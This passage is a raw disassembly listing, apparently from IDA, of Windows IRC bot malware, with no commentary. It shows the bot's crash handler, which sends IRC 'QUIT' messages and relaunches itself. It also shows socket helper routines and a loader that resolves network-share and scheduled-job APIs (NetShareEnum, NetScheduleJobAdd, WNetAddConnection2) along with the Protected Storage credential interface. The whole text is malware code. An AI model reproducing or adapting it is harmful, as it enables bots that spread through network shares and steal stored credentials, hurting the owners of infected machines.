; ---------------------------------------------------------------------------

loc_403403:				; CODE XREF: sub_40332B+A7j
		mov	[ebp+var_8], offset aException_stac ; "EXCEPTION_STACK_OVERFLOW"
		jmp	short loc_403413
; ---------------------------------------------------------------------------

loc_40340C:				; CODE XREF: sub_40332B+8Fj
		mov	[ebp+var_8], offset aException_flt ; "EXCEPTION_FLT"

loc_403413:				; CODE XREF: sub_40332B+77j
					; sub_40332B+83j ...
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax+4], 1
		jnz	short loc_40342A
		mov	[ebp+var_114], offset aRestarting ; "Restarting"
		jmp	short loc_403434
; ---------------------------------------------------------------------------

loc_40342A:				; CODE XREF: sub_40332B+F1j
		mov	[ebp+var_114], offset aContinuing ; "Continuing"

loc_403434:				; CODE XREF: sub_40332B+FDj
		push	[ebp+var_114]
		push	[ebp+var_8]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		push	dword ptr [eax]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		push	dword ptr [eax+0C0h]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		push	dword ptr [eax+0B8h]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		push	dword ptr [eax+0C4h]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		push	dword ptr [eax+0B4h]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		push	dword ptr [eax+9Ch]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		push	dword ptr [eax+0A0h]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		push	dword ptr [eax+0A8h]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		push	dword ptr [eax+0ACh]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		push	dword ptr [eax+0A4h]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		push	dword ptr [eax+0B0h]
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	offset dword_41864C
		push	offset dword_41DAB4
		call	sub_40D4AB
		add	esp, 48h

loc_4034D9:				; CODE XREF: sub_40332B+21j
		mov	eax, [ebp+var_4]
		inc	eax
		cmp	eax, 64h
		jz	short loc_4034ED
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax+4], 1
		jnz	short loc_403558

loc_4034ED:				; CODE XREF: sub_40332B+1B5j
		push	104h
		lea	eax, [ebp+var_10C]
		push	eax
		push	0
		call	dword_41708C	; GetModuleHandleA
		push	eax
		call	dword_417090	; GetModuleFileNameA
		test	eax, eax
		jz	short loc_403545
		push	0
		push	0
		push	0
		lea	eax, [ebp+var_10C]
		push	eax
		push	offset aOpen	; "open"
		push	0
		call	dword_4171D0
		cmp	eax, 20h
		ja	short loc_403538
		push	offset aQuitExitting ; "QUIT :exitting"
		call	sub_40D6CB
		pop	ecx
		jmp	short loc_403543
; ---------------------------------------------------------------------------

loc_403538:				; CODE XREF: sub_40332B+1FEj
		push	offset aQuitRestarting ; "QUIT :restarting"
		call	sub_40D6CB
		pop	ecx

loc_403543:				; CODE XREF: sub_40332B+20Bj
		jmp	short loc_403550
; ---------------------------------------------------------------------------

loc_403545:				; CODE XREF: sub_40332B+1DFj
		push	offset aQuitRestarting ; "QUIT :restarting"
		call	sub_40D6CB
		pop	ecx

loc_403550:				; CODE XREF: sub_40332B:loc_403543j
		push	0
		call	dword_41705C	; ExitProcess

loc_403558:				; CODE XREF: sub_40332B+1C0j
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 80000003h
		jnz	short loc_403583
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		mov	eax, [eax+0B8h]
		inc	eax
		mov	ecx, [ebp+arg_0]
		mov	ecx, [ecx+4]
		mov	[ecx+0B8h], eax
		or	eax, 0FFFFFFFFh
		jmp	short locret_403586
; ---------------------------------------------------------------------------

loc_403583:				; CODE XREF: sub_40332B+238j
		push	1
		pop	eax

locret_403586:				; CODE XREF: sub_40332B+256j
		leave
		retn
sub_40332B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403588	proc near		; DATA XREF: sub_403BD3:loc_403D85o

var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2E		= word ptr -2Eh
var_2C		= dword	ptr -2Ch
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 48h
		cmp	[ebp+arg_8], 0
		jz	short loc_4035E2
		mov	eax, [ebp+arg_8]
		cmp	dword ptr [eax+4], 0
		jz	short loc_4035BB
		mov	eax, [ebp+arg_8]
		cmp	dword ptr [eax+4], 2
		jz	short loc_4035BB
		push	273Fh
		call	dword_417234	; WSASetLastError
		mov	eax, 273Fh
		jmp	locret_4038B6
; ---------------------------------------------------------------------------

loc_4035BB:				; CODE XREF: sub_403588+13j
					; sub_403588+1Cj
		mov	eax, [ebp+arg_8]
		cmp	dword ptr [eax+8], 1
		jz	short loc_4035E2
		mov	eax, [ebp+arg_8]
		cmp	dword ptr [eax+8], 2
		jz	short loc_4035E2
		push	273Ch
		call	dword_417234	; WSASetLastError
		mov	eax, 273Ch
		jmp	locret_4038B6
; ---------------------------------------------------------------------------

loc_4035E2:				; CODE XREF: sub_403588+Aj
					; sub_403588+3Aj ...
		cmp	[ebp+arg_0], 0
		jnz	loc_4036D6
		push	30h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_34], eax
		cmp	[ebp+var_34], 0
		jnz	short loc_40360D
		push	8
		call	dword_417234	; WSASetLastError
		push	8
		pop	eax
		jmp	locret_4038B6
; ---------------------------------------------------------------------------

loc_40360D:				; CODE XREF: sub_403588+73j
		push	30h
		push	0
		push	[ebp+var_34]
		call	sub_416B6A	; memset
		add	esp, 0Ch
		push	10h
		push	0
		lea	eax, [ebp+var_30]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	[ebp+var_30], 2
		cmp	[ebp+arg_4], 0
		jz	short loc_40364C
		push	[ebp+arg_4]
		call	sub_416B9C	; atoi
		pop	ecx
		push	eax
		call	dword_417238	; htons
		mov	[ebp+var_2E], ax

loc_40364C:				; CODE XREF: sub_403588+AEj
		mov	eax, [ebp+var_34]
		mov	dword ptr [eax+4], 2
		cmp	[ebp+arg_8], 0
		jz	short loc_403667
		mov	eax, [ebp+arg_8]
		mov	eax, [eax+8]
		mov	[ebp+var_38], eax
		jmp	short loc_40366E
; ---------------------------------------------------------------------------

loc_403667:				; CODE XREF: sub_403588+D2j
		mov	[ebp+var_38], 1

loc_40366E:				; CODE XREF: sub_403588+DDj
		mov	eax, [ebp+var_34]
		mov	ecx, [ebp+var_38]
		mov	[eax+8], ecx
		cmp	[ebp+arg_8], 0
		jz	short loc_403688
		mov	eax, [ebp+arg_8]
		mov	eax, [eax+0Ch]
		mov	[ebp+var_3C], eax
		jmp	short loc_40368F
; ---------------------------------------------------------------------------

loc_403688:				; CODE XREF: sub_403588+F3j
		mov	[ebp+var_3C], 6

loc_40368F:				; CODE XREF: sub_403588+FEj
		mov	eax, [ebp+var_34]
		mov	ecx, [ebp+var_3C]
		mov	[eax+0Ch], ecx
		mov	eax, [ebp+var_34]
		mov	dword ptr [eax+10h], 10h
		mov	eax, [ebp+var_34]
		add	eax, 20h
		mov	ecx, [ebp+var_34]
		mov	[ecx+18h], eax
		and	[ebp+var_2C], 0
		push	10h
		lea	eax, [ebp+var_30]
		push	eax
		mov	eax, [ebp+var_34]
		add	eax, 20h
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+arg_C]
		mov	ecx, [ebp+var_34]
		mov	[eax], ecx
		xor	eax, eax
		jmp	locret_4038B6
; ---------------------------------------------------------------------------

loc_4036D6:				; CODE XREF: sub_403588+5Ej
		push	[ebp+arg_0]
		call	dword_41723C	; gethostbyname
		mov	[ebp+var_14], eax
		cmp	[ebp+var_14], 0
		jnz	short loc_4036F2
		mov	eax, 2AFBh
		jmp	locret_4038B6
; ---------------------------------------------------------------------------

loc_4036F2:				; CODE XREF: sub_403588+15Ej
		and	[ebp+var_20], 0
		jmp	short loc_4036FF
; ---------------------------------------------------------------------------

loc_4036F8:				; CODE XREF: sub_403588+18Cj
		mov	eax, [ebp+var_20]
		inc	eax
		mov	[ebp+var_20], eax

loc_4036FF:				; CODE XREF: sub_403588+16Ej
		cmp	[ebp+var_14], 0
		jz	short loc_403716
		mov	eax, [ebp+var_14]
		mov	eax, [eax+0Ch]
		mov	ecx, [ebp+var_20]
		cmp	dword ptr [eax+ecx*4], 0
		jz	short loc_403716
		jmp	short loc_4036F8
; ---------------------------------------------------------------------------

loc_403716:				; CODE XREF: sub_403588+17Bj
					; sub_403588+18Aj
		cmp	[ebp+var_20], 0
		jnz	short loc_403726
		mov	eax, 2AFBh
		jmp	locret_4038B6
; ---------------------------------------------------------------------------

loc_403726:				; CODE XREF: sub_403588+192j
		mov	eax, [ebp+var_20]
		imul	eax, 30h
		push	eax
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_1C], eax
		cmp	[ebp+var_1C], 0
		jnz	short loc_40374C
		push	8
		call	dword_417234	; WSASetLastError
		push	8
		pop	eax
		jmp	locret_4038B6
; ---------------------------------------------------------------------------

loc_40374C:				; CODE XREF: sub_403588+1B2j
		mov	eax, [ebp+var_20]
		imul	eax, 30h
		push	eax
		push	0
		push	[ebp+var_1C]
		call	sub_416B6A	; memset
		add	esp, 0Ch
		push	10h
		push	0
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		cmp	[ebp+arg_4], 0
		jz	short loc_403790
		push	[ebp+arg_4]
		call	sub_416B9C	; atoi
		pop	ecx
		push	eax
		call	dword_417238	; htons
		mov	[ebp+var_E], ax

loc_403790:				; CODE XREF: sub_403588+1F2j
		and	[ebp+var_18], 0
		jmp	short loc_40379D
; ---------------------------------------------------------------------------

loc_403796:				; CODE XREF: sub_403588:loc_4038A7j
		mov	eax, [ebp+var_18]
		inc	eax
		mov	[ebp+var_18], eax

loc_40379D:				; CODE XREF: sub_403588+20Cj
		mov	eax, [ebp+var_18]
		cmp	eax, [ebp+var_20]
		jnb	loc_4038AC
		cmp	[ebp+arg_8], 0
		jz	short loc_4037B9
		mov	eax, [ebp+arg_8]
		mov	eax, [eax]
		mov	[ebp+var_40], eax
		jmp	short loc_4037C0
; ---------------------------------------------------------------------------

loc_4037B9:				; CODE XREF: sub_403588+225j
		mov	[ebp+var_40], 4

loc_4037C0:				; CODE XREF: sub_403588+22Fj
		mov	eax, [ebp+var_18]
		imul	eax, 30h
		mov	ecx, [ebp+var_1C]
		mov	edx, [ebp+var_40]
		mov	[ecx+eax], edx
		mov	eax, [ebp+var_18]
		imul	eax, 30h
		mov	ecx, [ebp+var_1C]
		mov	dword ptr [ecx+eax+4], 2
		cmp	[ebp+arg_8], 0
		jz	short loc_4037F1
		mov	eax, [ebp+arg_8]
		mov	eax, [eax+8]
		mov	[ebp+var_44], eax
		jmp	short loc_4037F8
; ---------------------------------------------------------------------------

loc_4037F1:				; CODE XREF: sub_403588+25Cj
		mov	[ebp+var_44], 1

loc_4037F8:				; CODE XREF: sub_403588+267j
		mov	eax, [ebp+var_18]
		imul	eax, 30h
		mov	ecx, [ebp+var_1C]
		mov	edx, [ebp+var_44]
		mov	[ecx+eax+8], edx
		cmp	[ebp+arg_8], 0
		jz	short loc_403819
		mov	eax, [ebp+arg_8]
		mov	eax, [eax+0Ch]
		mov	[ebp+var_48], eax
		jmp	short loc_403820
; ---------------------------------------------------------------------------

loc_403819:				; CODE XREF: sub_403588+284j
		mov	[ebp+var_48], 6

loc_403820:				; CODE XREF: sub_403588+28Fj
		mov	eax, [ebp+var_18]
		imul	eax, 30h
		mov	ecx, [ebp+var_1C]
		mov	edx, [ebp+var_48]
		mov	[ecx+eax+0Ch], edx
		mov	eax, [ebp+var_18]
		imul	eax, 30h
		mov	ecx, [ebp+var_1C]
		mov	dword ptr [ecx+eax+10h], 10h
		mov	eax, [ebp+var_18]
		imul	eax, 30h
		mov	ecx, [ebp+var_1C]
		lea	eax, [ecx+eax+20h]
		mov	ecx, [ebp+var_18]
		imul	ecx, 30h
		mov	edx, [ebp+var_1C]
		mov	[edx+ecx+18h], eax
		mov	eax, [ebp+var_14]
		mov	eax, [eax+0Ch]
		mov	ecx, [ebp+var_18]
		mov	eax, [eax+ecx*4]
		mov	eax, [eax]
		mov	[ebp+var_C], eax
		push	10h
		lea	eax, [ebp+var_10]
		push	eax
		mov	eax, [ebp+var_18]
		imul	eax, 30h
		mov	ecx, [ebp+var_1C]
		lea	eax, [ecx+eax+20h]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		cmp	[ebp+var_18], 0
		jz	short loc_4038A7
		mov	eax, [ebp+var_18]
		imul	eax, 30h
		mov	ecx, [ebp+var_1C]
		add	ecx, eax
		mov	eax, [ebp+var_18]
		dec	eax
		imul	eax, 30h
		mov	edx, [ebp+var_1C]
		mov	[edx+eax+1Ch], ecx

loc_4038A7:				; CODE XREF: sub_403588+304j
		jmp	loc_403796
; ---------------------------------------------------------------------------

loc_4038AC:				; CODE XREF: sub_403588+21Bj
		mov	eax, [ebp+arg_C]
		mov	ecx, [ebp+var_1C]
		mov	[eax], ecx
		xor	eax, eax

locret_4038B6:				; CODE XREF: sub_403588+2Ej
					; sub_403588+55j ...
		leave
		retn	10h
sub_403588	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4038BA	proc near		; DATA XREF: sub_403BD3+1BCo

var_434		= dword	ptr -434h
var_430		= byte ptr -430h
var_410		= dword	ptr -410h
var_40C		= dword	ptr -40Ch
var_408		= dword	ptr -408h
var_404		= byte ptr -404h
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 434h
		cmp	[ebp+arg_8], 0
		jnz	short loc_4038CF
		cmp	[ebp+arg_10], 0
		jz	short loc_4038D8

loc_4038CF:				; CODE XREF: sub_4038BA+Dj
		mov	eax, [ebp+arg_18]
		and	al, 0E0h
		test	eax, eax
		jz	short loc_4038ED

loc_4038D8:				; CODE XREF: sub_4038BA+13j
		push	2726h
		call	dword_417234	; WSASetLastError
		mov	eax, 2726h
		jmp	locret_403BB9
; ---------------------------------------------------------------------------

loc_4038ED:				; CODE XREF: sub_4038BA+1Cj
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_40C], eax
		mov	eax, [ebp+var_40C]
		movsx	eax, word ptr [eax]
		cmp	eax, 2
		jz	short loc_403919
		push	273Fh
		call	dword_417234	; WSASetLastError
		mov	eax, 273Fh
		jmp	locret_403BB9
; ---------------------------------------------------------------------------

loc_403919:				; CODE XREF: sub_4038BA+48j
		cmp	[ebp+arg_8], 0
		jz	loc_403ABA
		mov	eax, [ebp+var_40C]
		push	dword ptr [eax+4]
		call	dword_41721C	; inet_ntoa
		mov	[ebp+var_434], eax
		cmp	[ebp+var_434], 0
		jnz	short loc_403949
		or	eax, 0FFFFFFFFh
		jmp	locret_403BB9
; ---------------------------------------------------------------------------

loc_403949:				; CODE XREF: sub_4038BA+85j
		push	401h
		push	[ebp+var_434]
		lea	eax, [ebp+var_404]
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		mov	eax, [ebp+arg_18]
		and	eax, 2
		test	eax, eax
		jz	short loc_403972
		jmp	loc_403BB4
; ---------------------------------------------------------------------------

loc_403972:				; CODE XREF: sub_4038BA+B1j
		mov	eax, [ebp+arg_18]
		and	eax, 4
		test	eax, eax
		jz	short loc_4039F4
		push	0
		push	4
		mov	eax, [ebp+var_40C]
		add	eax, 4
		push	eax
		call	dword_417220	; gethostbyaddr
		mov	[ebp+var_410], eax
		cmp	[ebp+var_410], 0
		jnz	short loc_4039AA
		call	dword_417224	; WSAGetLastError
		jmp	locret_403BB9
; ---------------------------------------------------------------------------

loc_4039AA:				; CODE XREF: sub_4038BA+E3j
		mov	eax, [ebp+var_410]
		push	dword ptr [eax]
		call	sub_416B40	; strlen
		pop	ecx
		inc	eax
		cmp	eax, [ebp+arg_C]
		jbe	short loc_4039D3
		push	2747h
		call	dword_417234	; WSASetLastError
		mov	eax, 2747h
		jmp	locret_403BB9
; ---------------------------------------------------------------------------

loc_4039D3:				; CODE XREF: sub_4038BA+102j
		push	401h
		mov	eax, [ebp+var_410]
		push	dword ptr [eax]
		lea	eax, [ebp+var_404]
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		jmp	loc_403ABA
; ---------------------------------------------------------------------------

loc_4039F4:				; CODE XREF: sub_4038BA+C0j
		mov	eax, [ebp+arg_18]
		and	eax, 1
		test	eax, eax
		jz	loc_403A92
		mov	eax, [ebp+var_40C]
		cmp	dword ptr [eax+4], 7F000001h
		jz	short loc_403A1D
		mov	eax, [ebp+var_40C]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_403A92

loc_403A1D:				; CODE XREF: sub_4038BA+155j
		push	0
		push	4
		mov	eax, [ebp+var_40C]
		add	eax, 4
		push	eax
		call	dword_417220	; gethostbyaddr
		mov	[ebp+var_410], eax
		cmp	[ebp+var_410], 0
		jnz	short loc_403A4B
		call	dword_417224	; WSAGetLastError
		jmp	locret_403BB9
; ---------------------------------------------------------------------------

loc_403A4B:				; CODE XREF: sub_4038BA+184j
		mov	eax, [ebp+var_410]
		push	dword ptr [eax]
		call	sub_416B40	; strlen
		pop	ecx
		inc	eax
		cmp	eax, [ebp+arg_C]
		jbe	short loc_403A74
		push	2747h
		call	dword_417234	; WSASetLastError
		mov	eax, 2747h
		jmp	locret_403BB9
; ---------------------------------------------------------------------------

loc_403A74:				; CODE XREF: sub_4038BA+1A3j
		push	401h
		mov	eax, [ebp+var_410]
		push	dword ptr [eax]
		lea	eax, [ebp+var_404]
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		jmp	short loc_403ABA
; ---------------------------------------------------------------------------

loc_403A92:				; CODE XREF: sub_4038BA+142j
					; sub_4038BA+161j ...
		lea	eax, [ebp+var_404]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		inc	eax
		cmp	eax, [ebp+arg_C]
		jbe	short loc_403ABA
		push	2747h
		call	dword_417234	; WSASetLastError
		mov	eax, 2747h
		jmp	locret_403BB9
; ---------------------------------------------------------------------------

loc_403ABA:				; CODE XREF: sub_4038BA+63j
					; sub_4038BA+135j ...
		cmp	[ebp+arg_10], 0
		jz	loc_403B99
		push	8
		pop	eax
		test	eax, eax
		jz	short loc_403B2C
		push	0Ah
		lea	eax, [ebp+var_430]
		push	eax
		mov	eax, [ebp+var_40C]
		mov	ax, [eax+2]
		push	eax
		call	dword_417238	; htons
		movzx	eax, ax
		push	eax
		call	sub_416F7A	; _itoa
		add	esp, 0Ch
		lea	eax, [ebp+var_430]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		inc	eax
		cmp	eax, [ebp+arg_14]
		jbe	short loc_403B19
		push	2747h
		call	dword_417234	; WSASetLastError
		mov	eax, 2747h
		jmp	locret_403BB9
; ---------------------------------------------------------------------------

loc_403B19:				; CODE XREF: sub_4038BA+248j
		lea	eax, [ebp+var_430]
		push	eax
		push	[ebp+arg_10]
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_403B99
; ---------------------------------------------------------------------------

loc_403B2C:				; CODE XREF: sub_4038BA+20Fj
		mov	eax, [ebp+arg_18]
		and	eax, 10h
		neg	eax
		sbb	eax, eax
		and	eax, offset aUdp ; "udp"
		push	eax
		mov	eax, [ebp+var_40C]
		movzx	eax, word ptr [eax+2]
		push	eax
		call	dword_417228	; getservbyport
		mov	[ebp+var_408], eax
		cmp	[ebp+var_408], 0
		jnz	short loc_403B61
		or	eax, 0FFFFFFFFh
		jmp	short locret_403BB9
; ---------------------------------------------------------------------------

loc_403B61:				; CODE XREF: sub_4038BA+2A0j
		mov	eax, [ebp+var_408]
		push	dword ptr [eax]
		call	sub_416B40	; strlen
		pop	ecx
		inc	eax
		cmp	eax, [ebp+arg_14]
		jbe	short loc_403B87
		push	2747h
		call	dword_417234	; WSASetLastError
		mov	eax, 2747h
		jmp	short locret_403BB9
; ---------------------------------------------------------------------------

loc_403B87:				; CODE XREF: sub_4038BA+2B9j
		mov	eax, [ebp+var_408]
		push	dword ptr [eax]
		push	[ebp+arg_10]
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx

loc_403B99:				; CODE XREF: sub_4038BA+204j
					; sub_4038BA+270j
		cmp	[ebp+arg_8], 0
		jz	short loc_403BB0
		lea	eax, [ebp+var_404]
		push	eax
		push	[ebp+arg_8]
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx

loc_403BB0:				; CODE XREF: sub_4038BA+2E3j
		xor	eax, eax
		jmp	short locret_403BB9
; ---------------------------------------------------------------------------

loc_403BB4:				; CODE XREF: sub_4038BA+B3j
		jmp	loc_403A92
; ---------------------------------------------------------------------------

locret_403BB9:				; CODE XREF: sub_4038BA+2Ej
					; sub_4038BA+5Aj ...
		leave
		retn	1Ch
sub_4038BA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403BBD	proc near		; DATA XREF: sub_403BD3+1C6o

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_0], 0
		jz	short loc_403BCF
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx

loc_403BCF:				; CODE XREF: sub_403BBD+7j
		pop	ebp
		retn	4
sub_403BBD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403BD3	proc near		; CODE XREF: sub_4167F1:loc_4168BCp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	offset aKernel32_dll ; "kernel32.dll"
		call	dword_417054	; LoadLibraryA
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jz	short loc_403C00
		push	offset aInitializecrit ; "InitializeCriticalSectionAndSpinCount"
		push	[ebp+var_C]
		call	dword_417058	; GetProcAddress
		mov	dword_41DE40, eax

loc_403C00:				; CODE XREF: sub_403BD3+18j
		push	offset aNetapi32_dll ; "netapi32.dll"
		call	dword_417054	; LoadLibraryA
		mov	[ebp+var_14], eax
		cmp	[ebp+var_14], 0
		jz	loc_403CC3
		push	offset aNetusegetinfo ;	"NetUseGetInfo"
		push	[ebp+var_14]
		call	dword_417058	; GetProcAddress
		mov	dword_41DE48, eax
		push	offset aNetuseadd ; "NetUseAdd"
		push	[ebp+var_14]
		call	dword_417058	; GetProcAddress
		mov	dword_41DE4C, eax
		push	offset aNetusedel ; "NetUseDel"
		push	[ebp+var_14]
		call	dword_417058	; GetProcAddress
		mov	dword_41DE50, eax
		push	offset aNetuserenum ; "NetUserEnum"
		push	[ebp+var_14]
		call	dword_417058	; GetProcAddress
		mov	dword_41DE54, eax
		push	offset aNetshareenum ; "NetShareEnum"
		push	[ebp+var_14]
		call	dword_417058	; GetProcAddress
		mov	dword_41DE58, eax
		push	offset aNetremotetod ; "NetRemoteTOD"
		push	[ebp+var_14]
		call	dword_417058	; GetProcAddress
		mov	dword_41DE5C, eax
		push	offset aNetapibufferfr ; "NetApiBufferFree"
		push	[ebp+var_14]
		call	dword_417058	; GetProcAddress
		mov	dword_41DE60, eax
		push	offset aNetschedulejob ; "NetScheduleJobAdd"
		push	[ebp+var_14]
		call	dword_417058	; GetProcAddress
		mov	dword_41DE64, eax
		push	offset aNetaddalternat ; "NetAddAlternateComputerName"
		push	[ebp+var_14]
		call	dword_417058	; GetProcAddress
		mov	dword_41DE68, eax

loc_403CC3:				; CODE XREF: sub_403BD3+3Fj
		push	offset aMpr_dll	; "mpr.dll"
		call	dword_417054	; LoadLibraryA
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_403D23
		push	offset aWnetaddconnect ; "WNetAddConnection2A"
		push	[ebp+var_8]
		call	dword_417058	; GetProcAddress
		mov	dword_41DE6C, eax
		push	offset aWnetaddconne_0 ; "WNetAddConnection2W"
		push	[ebp+var_8]
		call	dword_417058	; GetProcAddress
		mov	dword_41DE70, eax
		push	offset aWnetcancelconn ; "WNetCancelConnection2A"
		push	[ebp+var_8]
		call	dword_417058	; GetProcAddress
		mov	dword_41DE74, eax
		push	offset aWnetcancelco_0 ; "WNetCancelConnection2W"
		push	[ebp+var_8]
		call	dword_417058	; GetProcAddress
		mov	dword_41DE78, eax

loc_403D23:				; CODE XREF: sub_403BD3+102j
		push	offset aWs2_32_dll ; "ws2_32.dll"
		call	dword_417054	; LoadLibraryA
		mov	[ebp+var_4], eax
		push	offset aGetaddrinfo ; "getaddrinfo"
		push	[ebp+var_4]
		call	dword_417058	; GetProcAddress
		mov	dword_41DE84, eax
		push	offset aGetnameinfo ; "getnameinfo"
		push	[ebp+var_4]
		call	dword_417058	; GetProcAddress
		mov	dword_41DE88, eax
		push	offset aFreeaddrinfo ; "freeaddrinfo"
		push	[ebp+var_4]
		call	dword_417058	; GetProcAddress
		mov	dword_41DE8C, eax
		cmp	dword_41DE84, 0
		jz	short loc_403D85
		cmp	dword_41DE88, 0
		jz	short loc_403D85
		cmp	dword_41DE8C, 0
		jnz	short loc_403DA3

loc_403D85:				; CODE XREF: sub_403BD3+19Ej
					; sub_403BD3+1A7j
		mov	dword_41DE84, offset sub_403588
		mov	dword_41DE88, offset sub_4038BA
		mov	dword_41DE8C, offset sub_403BBD

loc_403DA3:				; CODE XREF: sub_403BD3+1B0j
		push	offset aPstorec_dll ; "pstorec.dll"
		call	dword_417054	; LoadLibraryA
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jz	short loc_403DCA
		push	offset aPstorecreatein ; "PStoreCreateInstance"
		push	[ebp+var_10]
		call	dword_417058	; GetProcAddress
		mov	dword_41DE80, eax

loc_403DCA:				; CODE XREF: sub_403BD3+1E2j
		push	offset aWininet_dll ; "wininet.dll"
		call	dword_417054	; LoadLibraryA
		mov	[ebp+var_18], eax
		cmp	[ebp+var_18], 0
		jz	short locret_403DF1
		push	offset aInternetgetcon ; "InternetGetConnectedStateExA"
		push	[ebp+var_18]
		call	dword_417058	; GetProcAddress
		mov	dword_41DE7C, eax

locret_403DF1:				; CODE XREF: sub_403BD3+209j
		leave
		retn
sub_403BD3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403DF3	proc near		; DATA XREF: sub_403FE5+89o

var_1228	= dword	ptr -1228h
var_1224	= byte ptr -1224h
var_1200	= byte ptr -1200h
var_11DC	= byte ptr -11DCh
var_11B8	= dword	ptr -11B8h
var_11B4	= dword	ptr -11B4h
var_11B0	= dword	ptr -11B0h
var_11AC	= byte ptr -11ACh
var_11A6	= byte ptr -11A6h
var_1000	= byte ptr -1000h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1228h
		call	sub_416BC0
		push	1ADh
		push	[ebp+arg_0]
		lea	eax, [ebp+var_11B0]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		push	1
		lea	eax, [ebp+var_11AC]
		push	eax
		call	sub_4046BC
		pop	ecx
		pop	ecx
		mov	[ebp+var_11B4],	eax
		cmp	[ebp+var_11B4],	0
		jnz	short loc_403E52
		push	[ebp+var_11B0]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_403FE1
; ---------------------------------------------------------------------------

loc_403E52:				; CODE XREF: sub_403DF3+4Aj
		lea	eax, [ebp+var_11AC]
		push	eax
		mov	eax, [ebp+var_11B0]
		push	dword ptr [eax]
		push	offset dword_4189C4
		lea	eax, [ebp+var_11A6]
		push	eax
		call	sub_40D53F
		add	esp, 10h

loc_403E75:				; CODE XREF: sub_403DF3+BDj
					; sub_403DF3+10Fj ...
		push	3E8h
		push	[ebp+var_11B4]
		call	sub_4048EF
		pop	ecx
		pop	ecx
		mov	[ebp+var_11B8],	eax
		mov	eax, [ebp+var_11B0]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_403EA2
		cmp	[ebp+var_11B8],	0
		jnz	short loc_403EA7

loc_403EA2:				; CODE XREF: sub_403DF3+A4j
		jmp	loc_403FC7
; ---------------------------------------------------------------------------

loc_403EA7:				; CODE XREF: sub_403DF3+ADj
		cmp	[ebp+var_11B8],	0FFFFFFFFh
		jnz	short loc_403EB2
		jmp	short loc_403E75
; ---------------------------------------------------------------------------

loc_403EB2:				; CODE XREF: sub_403DF3+BBj
		push	1000h
		lea	eax, [ebp+var_1000]
		push	eax
		push	[ebp+var_11B8]
		call	sub_4053DC
		add	esp, 0Ch
		mov	[ebp+var_1228],	eax
		cmp	[ebp+var_1228],	0
		jz	short loc_403EF6
		cmp	[ebp+var_1228],	0FFFFFFFFh
